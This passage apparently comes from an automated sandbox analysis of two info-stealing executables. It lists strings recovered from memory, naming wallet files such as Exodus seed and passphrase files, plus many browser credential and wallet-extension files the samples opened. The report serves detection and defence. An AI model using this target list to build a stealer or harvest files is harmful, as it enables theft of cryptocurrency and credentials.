Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 4TPPuMwzSA.exe, 00000000.00000003.1488723704.000000000168D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268868915.0000000001054000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268868915.0000000001054000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268868915.0000000001054000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 4TPPuMwzSA.exe, 00000000.00000003.1488723704.000000000168D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: 4TPPuMwzSA.exe, 00000000.00000003.1464746561.0000000001632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live80Gg
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268868915.0000000001054000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
